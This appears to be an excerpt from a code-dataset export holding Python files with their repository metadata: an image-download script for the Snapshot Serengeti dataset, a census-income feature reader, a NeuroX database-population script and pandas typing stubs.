'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:31.0) Gecko/20100101 Firefox/31.0',
'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36',
'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36')
UA = random.choice(userAgent)
return UA
def mai(filecsv):
csv_reader = csv.reader(open('ads\\'+filecsv, encoding='utf-8'))
for row in csv_reader:
urls = "https://snapshotserengeti.s3.msi.umn.edu/"+row[1]
header = randomAgentGen()
headers = {'User-Agent': header}
try:
if os.path.exists("j:\dataone\\"+os.path.split(row[1])[1]) :
shutil.move("j:\dataone\\"+os.path.split(row[1])[1], "K:\\150to200\\"+os.path.split(row[1])[1])
print("Exist: "+os.path.split(row[1])[1])
elif os.path.exists("j:\datatwo\\"+os.path.split(row[1])[1]):
shutil.move("j:\dataone\\"+os.path.split(row[1])[1], "K:\\150to200\\"+os.path.split(row[1])[1])
print("Exist: "+os.path.split(row[1])[1])
elif os.path.exists("j:\datathree\\" + os.path.split(row[1])[1]):
shutil.move("j:\dataone\\"+os.path.split(row[1])[1], "K:\\150to200\\"+os.path.split(row[1])[1])
print("Exist: " + os.path.split(row[1])[1])
elif os.path.exists("j:\datafour\\" + os.path.split(row[1])[1]):
shutil.move("j:\dataone\\"+os.path.split(row[1])[1], "K:\\150to200\\"+os.path.split(row[1])[1])
print("Exist: " + os.path.split(row[1])[1])
elif os.path.exists("j:\datafive\\" + os.path.split(row[1])[1]):
shutil.move("j:\dataone\\"+os.path.split(row[1])[1], "K:\\150to200\\"+os.path.split(row[1])[1])
print("Exist: " + os.path.split(row[1])[1])
elif os.path.exists("K:\\150to200\\" + os.path.split(row[1])[1]):
print("Exist: " + os.path.split(row[1])[1])
else:
try:
resp = requests.get(urls, timeout=180, headers=headers,stream=True)
if resp.status_code == 200:
whs = open("K:\\150to200\\"+os.path.split(row[1])[1],'wb')
whs.write(resp.content)
whs.close()
print("Add: "+os.path.split(row[1])[1])
resp.close()
except:
resp = requests.get(urls, timeout=180, headers=headers,stream=True)
if resp.status_code == 200:
whs = open("K:\\150to200\\"+os.path.split(row[1])[1],'wb')
whs.write(resp.content)
whs.close()
print("Add: "+os.path.split(row[1])[1])
resp.close()
except:
try:
resp = requests.get(urls, timeout=180, headers=headers, stream=True)
if resp.status_code == 200:
whs = open("K:\\150to200\\" + os.path.split(row[1])[1], 'wb')
whs.write(resp.content)
whs.close()
print("Add: " + os.path.split(row[1])[1])
resp.close()
except:
resp = requests.get(urls, timeout=180, headers=headers, stream=True)
if resp.status_code == 200:
whs = open("K:\\150to200\\" + os.path.split(row[1])[1], 'wb')
whs.write(resp.content)
whs.close()
print("Add: " + os.path.split(row[1])[1])
resp.close()
def func_var():
csvfile = []
func_var = []
for filename in os.listdir(r'j:\diset\ads'):
csvfile.append(filename)
for i in zip(csvfile):
func = (list(i), None)
func_var.append(func)
return func_var
def BusinessDo():
pool = threadpool.ThreadPool(50)
reqs = threadpool.makeRequests(mai, func_var())
[pool.putRequest(req) for req in reqs]
pool.wait()
BusinessDo()
| 76.039548
| 160
| 0.591054
| 2,184
| 13,459
| 3.607143
| 0.081044
| 0.020564
| 0.090251
| 0.082635
| 0.88817
| 0.886392
| 0.880427
| 0.857451
| 0.843361
| 0.835999
| 0
| 0.189454
| 0.248978
| 13,459
| 177
| 161
| 76.039548
| 0.589929
| 0.006836
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| 0.28125
| 0
| 0.49375
| 0.620519
| 0.008007
| 0
| 0
| 0
| 0
| 0
| 1
| 0.025
| false
| 0
| 0.03125
| 0
| 0.06875
| 0.0625
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
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| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
a907c49e4279a5435f85eafbe5fd631489d84bcc
| 8,870
|
py
|
Python
|
CS534/HW1/code/data_reader.py
|
eklinkhammer/OSU_Coursework
|
ffc1d3c95ffc582fb297ac2c720ab3f3ad485cd3
|
[
"MIT"
] | null | null | null |
CS534/HW1/code/data_reader.py
|
eklinkhammer/OSU_Coursework
|
ffc1d3c95ffc582fb297ac2c720ab3f3ad485cd3
|
[
"MIT"
] | null | null | null |
CS534/HW1/code/data_reader.py
|
eklinkhammer/OSU_Coursework
|
ffc1d3c95ffc582fb297ac2c720ab3f3ad485cd3
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
import csv
import numpy as np
def get_binary_features(data_set, featureList=None):
print "Loading Binary Data"
if featureList is None:
featureList = get_binary_feature_vector(data_set)
X, Y = get_binary_vector(data_set, featureList)
print "Data Loaded"
return X, Y, featureList
def get_binary_feature_vector(data_set):
feature_dict = {}
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
count = 0
for num_row, row in enumerate(reader):
for i, item in enumerate(row):
if i != len(row)-1:
if (i, item) not in feature_dict:
feature_dict[i, item] = count
count += 1
print list(feature_dict.keys())
print len(feature_dict.keys())
return feature_dict
def get_binary_vector(data_set, feature_list):
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for num_row, row in enumerate(reader):
if num_row % 1000 == 0:
print num_row
if num_row == 0:
X = np.zeros( (1,len(feature_list.keys())+1) )
Y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
Y[0] = -1
elif item == ' >50K':
Y[0] = 1
else:
X[0,feature_list[i,item]] = 1
X[0,-1] = 1
else:
x = np.zeros( (1,len(feature_list.keys())+1) )
y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
y[0] = -1
elif item == ' >50K':
y[0] = 1
else:
x[0,feature_list[i,item]] = 1
x[0,-1] = 1
X = np.vstack([X,x])
Y = np.vstack([Y,y])
return X, Y
def get_numbered_features(data_set, featureList=None):
print "Loading Numbered Data"
if featureList is None:
featureList = get_numbered_feature_vector(data_set)
X, Y = get_numbered_vector(data_set, featureList)
print "Data Loaded"
return X, Y, featureList
def get_numbered_vector(data_set, feature_list):
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for num_row, row in enumerate(reader):
if num_row % 1000 == 0:
print num_row
if num_row == 0:
X = np.zeros( (1,len(feature_list)+3) )
Y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
Y[0] = -1
elif item == ' >50K':
Y[0] = 1
elif i == 0:
X[0,-3] = int(item)
elif i == 7:
X[0,-2] = int(item)
else:
X[0,feature_list.index(item)] = 1
X[0,-1] = 1
else:
x = np.zeros( (1,len(feature_list)+3) )
y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
y[0] = -1
elif item == ' >50K':
y[0] = 1
elif i == 0:
x[0,-3] = int(item)
elif i == 7:
x[0,-2] = int(item)
else:
x[0,feature_list.index(item)] = 1
x[0,-1] = 1
X = np.vstack([X,x])
Y = np.vstack([Y,y])
return X, Y
def get_numbered_feature_vector(data_set):
feature_list = []
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for num_row, row in enumerate(reader):
for i, item in enumerate(row):
count = 0
if i != len(row)-1 and i != 0 and i != 7:
if num_row == 0:
feature_list.append([])
feature_list[count].append(item)
elif item not in feature_list[count]:
feature_list[count].append(item)
count += 1
full_list = []
for j, item in enumerate(feature_list):
full_list += feature_list[j]
return full_list
def get_numbered_binary_features(data_set, featureList=None):
print "Loading Numbered/Binary Data"
if featureList is None:
featureList = get_binary_feature_vector(data_set)
X, Y = get_numbered_binary_vector(data_set, featureList)\
print "Data Loaded"
return X, Y, featureList
def get_numbered_binary_vector(data_set, feature_list):
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for num_row, row in enumerate(reader):
if num_row % 1000 == 0:
print num_row
if num_row == 0:
X = np.zeros( (1,len(feature_list)+3) )
Y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
Y[0] = -1
elif item == ' >50K':
Y[0] = 1
else:
X[0,feature_list.index(item)] = 1
X[0,-1] = 1
if i == 0:
X[0,-3] = int(item)
if i == 7:
X[0,-2] = int(item)
else:
x = np.zeros( (1,len(feature_list)+3) )
y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
y[0] = -1
elif item == ' >50K':
y[0] = 1
else:
x[0,feature_list.index(item)] = 1
x[0,-1] = 1
if i == 0:
x[0,-3] = int(item)
if i == 7:
x[0,-2] = int(item)
X = np.vstack([X,x])
Y = np.vstack([Y,y])
return X, Y
def get_binned_features(data_set, featureList=None):
print "Loading Binned Data"
if featureList is None:
featureList = get_numbered_feature_vector(data_set)
X, Y = get_binned_vector(data_set, featureList)
print "Data Loaded"
return X, Y, featureList
def get_binned_vector(data_set, feature_list):
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for num_row, row in enumerate(reader):
if num_row % 1000 == 0:
print num_row
if num_row == 0:
X = np.zeros( (1,len(feature_list)+13) )
Y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
Y[0] = -1
elif item == ' >50K':
Y[0] = 1
elif i == 0:
index = int(item) / 10
if index == 0:
index = 1
if index > 6:
index = 6
X[0,-14+index] = 1
elif i == 7:
h = int(item)
if h < 25:
index = -7
elif h < 35:
index = -6
elif h < 45:
index = -5
elif h < 55:
index = -4
elif h < 65:
index = -3
else:
index = -2
X[0,index] = 1
else:
X[0,feature_list.index(item)] = 1
X[0,-1] = 1
else:
x = np.zeros( (1,len(feature_list)+13) )
y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
y[0] = -1
elif item == ' >50K':
y[0] = 1
elif i == 0:
index = int(item) / 10
if index == 0:
index = 1
if index > 6:
index = 6
x[0,-14+index] = 1
elif i == 7:
h = int(item)
if h < 25:
index = -7
elif h < 35:
index = -6
elif h < 45:
index = -5
elif h < 55:
index = -4
elif h < 65:
index = -3
else:
index = -2
x[0,index] = 1
else:
x[0,feature_list.index(item)] = 1
x[0,-1] = 1
X = np.vstack([X,x])
Y = np.vstack([Y,y])
return X, Y
def get_num_ed_features(data_set, featureList=None):
print "Loading Numerical Eduation Data"
if featureList is None:
featureList = get_num_ed_feature_vector(data_set)
X, Y = get_num_ed_vector(data_set, featureList)
print "Data Loaded"
return X, Y, featureList
def get_num_ed_feature_vector(data_set):
feature_list = []
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for num_row, row in enumerate(reader):
for i, item in enumerate(row):
count = 0
if i != len(row)-1 and i != 2:
if num_row == 0:
feature_list.append([])
feature_list[count].append(item)
elif item not in feature_list[count]:
feature_list[count].append(item)
count += 1
full_list = []
for j, item in enumerate(feature_list):
full_list += feature_list[j]
return full_list
def get_num_ed_vector(data_set, feature_list):
ed_dict = {' Preschool': 1, ' 1st-4th': 2, ' 5th-6th': 3, ' 7th-8th':4, ' 9th':5,' 10th':6,' 11th':7, ' 12th':8, ' HS-grad':9, ' Some-college':10, ' Assoc-acdm':11, ' Assoc-voc':12, ' Prof-school':13, ' Bachelors':14, ' Masters':15, ' Doctorate':16}
with open(data_set, 'rb') as csvfile:
reader = csv.reader(csvfile, delimiter=',')
for num_row, row in enumerate(reader):
if num_row % 1000 == 0:
print num_row
if num_row == 0:
X = np.zeros( (1,len(feature_list)+2) )
Y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
Y[0] = -1
elif item == ' >50K':
Y[0] = 1
elif i == 2:
X[0,-2] = ed_dict[item]
else:
X[0,feature_list.index(item)] = 1
X[0,-1] = 1
else:
x = np.zeros( (1,len(feature_list)+2) )
y = np.zeros( (1,1) )
for i, item in enumerate(row):
if item == ' <=50K':
y[0] = -1
elif item == ' >50K':
y[0] = 1
elif i == 2:
x[0,-2] = ed_dict[item]
else:
x[0,feature_list.index(item)] = 1
x[0,-1] = 1
X = np.vstack([X,x])
Y = np.vstack([Y,y])
return X, Y
if __name__ == "__main__":
X, Y = get_binary_features('../income-data/income.train.txt')
print X[0]
print Y[0]
| 22.009926
| 250
| 0.561218
| 1,414
| 8,870
| 3.391796
| 0.079915
| 0.08945
| 0.033361
| 0.037531
| 0.911384
| 0.902836
| 0.892619
| 0.859675
| 0.824229
| 0.824229
| 0
| 0.054046
| 0.282413
| 8,870
| 402
| 251
| 22.064677
| 0.69945
| 0.001804
| 0
| 0.826367
| 0
| 0
| 0.054332
| 0.003502
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.006431
| null | null | 0.061093
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
8b7c9e29e8a6281ed0d047fdb4496d8a1e13667f
| 9,402
|
py
|
Python
|
src/server/populate_db.py
|
fdalvi/NeuroX-demo
|
9126a3b6a8085d7c586a7ab4f42abd34a7dec6c3
|
[
"MIT"
] | 1
|
2021-06-14T16:29:57.000Z
|
2021-06-14T16:29:57.000Z
|
src/server/populate_db.py
|
fdalvi/NeuroX-demo
|
9126a3b6a8085d7c586a7ab4f42abd34a7dec6c3
|
[
"MIT"
] | 3
|
2021-03-08T23:07:09.000Z
|
2022-02-10T13:00:38.000Z
|
src/server/populate_db.py
|
fdalvi/NeuroX-demo
|
9126a3b6a8085d7c586a7ab4f42abd34a7dec6c3
|
[
"MIT"
] | null | null | null |
import database
import datetime
import uuid
db = database.init()
# Init Project 1
project_1 = database.Project.create(
id = uuid.uuid4(),
projectName = "English-Spanish bidirectional model",
creationDate = datetime.datetime.strptime("2018-09-02", '%Y-%m-%d'),
modelPath = "/data/sls/qcri/mt/work/NeuroX/test_data/models/en-es-1.pt",
textPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/train.tok",
mtTestPath = "/data/sls/qcri/mt/work/NeuroX/iwslt.en",
mtReferencePath = "/data/sls/qcri/mt/work/NeuroX/iwslt.es",
outputStyler = '{"direction": "ltr", "fontFamily": "monospace"}'
)
project_1_ranking_1 = database.Ranking.create(
project = project_1.id,
type = "cross-model",
name = "Model 2/3 Cross-Model Ranking",
crossModelPaths = "/data/sls/qcri/mt/work/NeuroX/test_data/models/en-es-2.pt\n/data/sls/qcri/mt/work/NeuroX/test_data/models/en-es-3.pt",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.tok"
)
project_1_ranking_2 = database.Ranking.create(
project = project_1.id,
type = "task-specific",
name = "Part-of-Speech Ranking",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.tok",
labelsPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.pos"
)
project_1_ranking_3 = database.Ranking.create(
project = project_1.id,
type = "univariate",
name = "Part-of-Speech Univariate Feature Selection",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.tok",
labelsPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.pos"
)
project_1_ranking_4 = database.Ranking.create(
project = project_1.id,
type = "task-specific",
name = "Semantic Tags Ranking",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/14ktrain.tok",
labelsPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/14ktrain.sem"
)
project_1.store = {
'activations': '/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-es-1.pt_train.tok.pt',
'outputs': '/data/sls/qcri/mt/work/NeuroX/test_data/decoded_outputs/en-es-1.pt_train.tok.out'
}
project_1.save()
project_1_ranking_1.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-es-1.pt_10ktrain.tok.pt',
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-es-2.pt_10ktrain.tok.pt',
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-es-3.pt_10ktrain.tok.pt'
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/cross_correlations/en-es-10k-activations.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Model-2-3-Cross-Model-Ranking.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Model-2-3-Cross-Model-Ranking-Reverse.txt'
}
project_1_ranking_1.save()
project_1_ranking_2.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-es-1.pt_10ktrain.tok.pt',
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/linguistic_correlations_POS/en-es-1.pt_10ktrain.tok/top_neurons.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Part-of-Speech-Ranking.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Part-of-Speech-Ranking-Reverse.txt'
}
project_1_ranking_2.save()
project_1_ranking_3.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-es-1.pt_10ktrain.tok.pt',
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/univariate_POS/en-es-1.pt_10ktrain.tok.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Part-of-Speech-Univariate-Feature-Selection.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Part-of-Speech-Univariate-Feature-Selection-Reverse.txt'
}
project_1_ranking_3.save()
project_1_ranking_4.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-es-1.pt_10ktrain.tok.pt',
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/linguistic_correlations_SEM/en-es-1.pt_14ktrain.tok/top_neurons.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Semantic-Tags-Ranking.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-es/Semantic-Tags-Ranking-Reverse.txt'
}
project_1_ranking_4.save()
project_2 = database.Project.create(
id = uuid.uuid4(),
projectName = "English-Arabic 2-layer model",
creationDate = datetime.datetime.strptime("2018-09-09", '%Y-%m-%d'),
modelPath = "/data/sls/qcri/mt/work/NeuroX/test_data/models/en-ar-1.pt",
textPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/train.tok",
mtTestPath = "/data/sls/qcri/mt/work/NeuroX/iwslt.en",
mtReferencePath = "/data/sls/qcri/mt/work/NeuroX/iwslt.ar",
outputStyler = '{"direction": "rtl", "fontFamily": "Roboto"}'
)
project_2_ranking_1 = database.Ranking.create(
project = project_2.id,
type = "cross-model",
name = "Model 2/3 Cross-Model Ranking",
crossModelPaths = "/data/sls/qcri/mt/work/NeuroX/test_data/models/en-ar-2.pt\n/data/sls/qcri/mt/work/NeuroX/test_data/models/en-ar-3.pt",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.tok"
)
project_2_ranking_2 = database.Ranking.create(
project = project_2.id,
type = "task-specific",
name = "Part-of-Speech Ranking",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.tok",
labelsPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.pos"
)
project_2_ranking_3 = database.Ranking.create(
project = project_2.id,
type = "univariate",
name = "Part-of-Speech Univariate Feature Selection",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.tok",
labelsPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/10ktrain.pos"
)
project_2_ranking_4 = database.Ranking.create(
project = project_2.id,
type = "task-specific",
name = "Semantic Tags Ranking",
tokensPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/14ktrain.tok",
labelsPath = "/data/sls/qcri/mt/work/NeuroX/test_data/inputs/14ktrain.sem"
)
project_2.store = {
'activations': '/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-ar-1.pt_train.tok.pt',
'outputs': '/data/sls/qcri/mt/work/NeuroX/test_data/decoded_outputs/en-ar-1.pt_train.tok.out'
}
project_2.save()
project_2_ranking_1.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-ar-1.pt_10ktrain.tok.pt',
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-ar-2.pt_10ktrain.tok.pt',
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-ar-3.pt_10ktrain.tok.pt'
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/cross_correlations/en-ar-10k-activations.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Model-2-3-Cross-Model-Ranking.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Model-2-3-Cross-Model-Ranking-Reverse.txt'
}
project_2_ranking_1.save()
project_2_ranking_2.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-ar-1.pt_10ktrain.tok.pt',
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/linguistic_correlations_POS/en-ar-1.pt_10ktrain.tok/top_neurons.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Part-of-Speech-Ranking.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Part-of-Speech-Ranking-Reverse.txt'
}
project_2_ranking_2.save()
project_2_ranking_3.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-ar-1.pt_10ktrain.tok.pt',
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/univariate_POS/en-ar-1.pt_10ktrain.tok.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Part-of-Speech-Univariate-Feature-Selection.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Part-of-Speech-Univariate-Feature-Selection-Reverse.txt'
}
project_2_ranking_3.save()
project_2_ranking_4.store = {
'activations': [
'/data/sls/qcri/mt/work/NeuroX/test_data/decoded_activations/en-ar-1.pt_10ktrain.tok.pt',
],
'ranking': '/data/sls/qcri/mt/work/NeuroX/test_data/linguistic_correlations_SEM/en-ar-1.pt_14ktrain.tok/top_neurons.json',
'ablation_forward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Semantic-Tags-Ranking.txt',
'ablation_backward': '/data/sls/qcri/mt/work/NeuroX/test_data/ablation_results/en-ar/Semantic-Tags-Ranking-Reverse.txt'
}
project_2_ranking_4.save()
print("Database:")
print("========")
for project in database.Project.select().order_by(database.Project.creationDate.desc()):
print(project.id)
print(project.projectName)
print(project.store)
ranking = database.Ranking.select().join(database.Project).where(database.Ranking.project == project.id)
print("Rankings:")
for r in ranking:
print("\t",r.id)
print("\t",r.type)
print("\t",r.name)
print("\t",r.store)
print('----------------------')
database.deinit()
| 47.246231
| 146
| 0.73963
| 1,451
| 9,402
| 4.6306
| 0.075121
| 0.06876
| 0.108052
| 0.127698
| 0.909957
| 0.899836
| 0.880786
| 0.855187
| 0.818872
| 0.808751
| 0
| 0.022132
| 0.086896
| 9,402
| 199
| 147
| 47.246231
| 0.760513
| 0.001489
| 0
| 0.375691
| 0
| 0.243094
| 0.657505
| 0.551827
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.016575
| 0
| 0.016575
| 0.060773
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
| null | 0
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| 0
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| 0
|
0
| 9
|
8ba9fff14de39156e3cb8b3d3c8e0213278e3a31
| 9,640
|
py
|
Python
|
data/typing/pandas.core.dtypes.inference.py
|
pydata-apis/python-api-record
|
684cffbbb6dc6e81f9de4e02619c8b0ebc557b2b
|
[
"MIT"
] | 67
|
2020-08-17T11:53:26.000Z
|
2021-11-08T20:16:06.000Z
|
data/typing/pandas.core.dtypes.inference.py
|
data-apis/python-record-api
|
684cffbbb6dc6e81f9de4e02619c8b0ebc557b2b
|
[
"MIT"
] | 36
|
2020-08-17T11:09:51.000Z
|
2021-12-15T18:09:47.000Z
|
data/typing/pandas.core.dtypes.inference.py
|
pydata-apis/python-api-record
|
684cffbbb6dc6e81f9de4e02619c8b0ebc557b2b
|
[
"MIT"
] | 7
|
2020-08-19T05:06:47.000Z
|
2020-11-04T05:10:38.000Z
|
from typing import *
@overload
def is_dict_like(obj: Literal["float"]):
"""
usage.koalas: 1
"""
...
@overload
def is_dict_like(obj: Literal["int64"]):
"""
usage.koalas: 1
"""
...
@overload
def is_dict_like(obj: Dict[Literal["a"], Type[float]]):
"""
usage.koalas: 1
"""
...
@overload
def is_dict_like(obj: Literal["float64"]):
"""
usage.koalas: 1
"""
...
@overload
def is_dict_like(obj: pandas.core.frame.DataFrame):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: numpy.ndarray):
"""
usage.modin: 3
"""
...
@overload
def is_dict_like(obj: None):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: Dict[str, numpy.ndarray]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[str, List[Union[float, numpy.float64]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["col4", "col3", "col2", "col1"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["group", "lvalue", "key"], List[Union[Literal["e", "c", "a", "b"], int]]
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[Literal["left_val", "a"], List[Union[int, Literal["c", "b", "a"]]]]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["zoo", "baz", "bar", "foo"], List[Union[str, int]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["E", "D", "C", "B", "A"], List[Union[str, int]]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["day", "month", "year"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["c", "b", "a"], numpy.ndarray]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[str, List[Union[Literal["bar", "foo", "baz"], None, numpy.datetime64]]]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["c", "b", "a"], List[int]]):
"""
usage.modin: 4
"""
...
@overload
def is_dict_like(obj: Dict[Literal["c", "b"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["col5", "col4", "col3", "col2", "col1"], List[int]]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(
obj: Dict[
Literal["year2", "year1", "team", "hr2", "hr1"],
List[Union[Literal["Yankees", "Red Sox"], int]],
]
):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: Dict[Literal["B", "A"], range]):
"""
usage.modin: 2
"""
...
@overload
def is_dict_like(obj: List[List[Union[float, int, Literal["high", "medium"]]]]):
"""
usage.modin: 1
"""
...
@overload
def is_dict_like(obj: Dict[Literal["col2", "col1"], List[Union[float, int]]]):
"""
